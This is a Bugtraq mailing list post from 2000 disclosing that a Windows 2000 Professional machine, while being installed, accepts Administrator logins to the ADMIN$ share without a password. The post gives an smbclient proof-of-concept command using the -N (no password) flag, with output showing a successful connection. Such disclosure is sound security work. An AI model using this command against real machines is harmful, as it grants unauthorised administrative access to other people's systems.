Bugtraq mailing list archives

Windows 2000 installation process weakness

From: Stephane.Aubert () HSC FR (Stephane Aubert)
Date: Tue, 15 Feb 2000 15:57:50 +0100


Hi !

During the installation process of Windows 2000 professionnal anyone
can connect to the ADMIN$ share as ADMINISTRATOR whithout any password.

Verification:

% ./smbclient \\\\WINDOZE\\ADMIN$ -I xxx.yyy.zzz.ttt -U 'administrator' -d 0 -N
Unable to open configuration file "/usr/local/samba/lib/smb.conf"!
pm_process retuned false
Can't load /usr/local/samba/lib/smb.conf - run testparm to debug it
Domain=[GROAR] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \>

Regards,
Stephane

PS: smbclient is a part of SAMBA (http://www.samba.org/).

--
Stephane AUBERT                   -=-      Herve Schauer Consultants
Stephane.Aubert () hsc fr                            http://www.hsc.fr/

Current thread:

CGI.pm and the untrusted-URL problem Kragen Sitaker (Feb 14)
- Re: CGI.pm and the untrusted-URL problem Marc Slemko (Feb 14)
- Re: CGI.pm and the untrusted-URL problem Olaf Seibert (Feb 16)
- Microsoft Security Bulletin (MS00-009) Microsoft Product Security (Feb 16)
- <Possible follow-ups>
- Re: CGI.pm and the untrusted-URL problem Kragen Sitaker (Feb 14)
  - Windows 2000 installation process weakness Stephane Aubert (Feb 15)
    - Sambar Server alert! Georgi Chorbadzhiyski (Feb 23)
    - Re: Windows 2000 installation process weakness Stephane Aubert (Feb 23)
  - Re: CGI.pm and the untrusted-URL problem Lincoln Stein (Feb 15)
- Re: CGI.pm and the untrusted-URL problem Kragen Sitaker (Feb 15)